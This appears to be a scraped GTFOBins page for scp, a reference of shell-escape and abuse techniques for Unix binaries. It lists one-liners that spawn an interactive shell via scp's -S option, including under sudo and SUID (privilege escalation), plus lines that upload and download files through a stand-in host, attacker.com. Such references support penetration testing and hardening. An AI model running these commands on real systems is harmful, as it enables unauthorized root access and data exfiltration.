GTFOBins.github.io/_gtfobins/scp.md

788 B

functions
execute-interactive upload download sudo-enabled suid-limited
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" scp -S $TF x y:
description code
Send local file to a SSH server. RPATH=user@attacker.com:~/file_to_save LPATH=file_to_send scp $LFILE $RPATH
description code
Fetch a remote file from a SSH server. RPATH=user@attacker.com:~/file_to_get LFILE=file_to_save scp $RPATH $LFILE
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" ./scp -S $TF a b: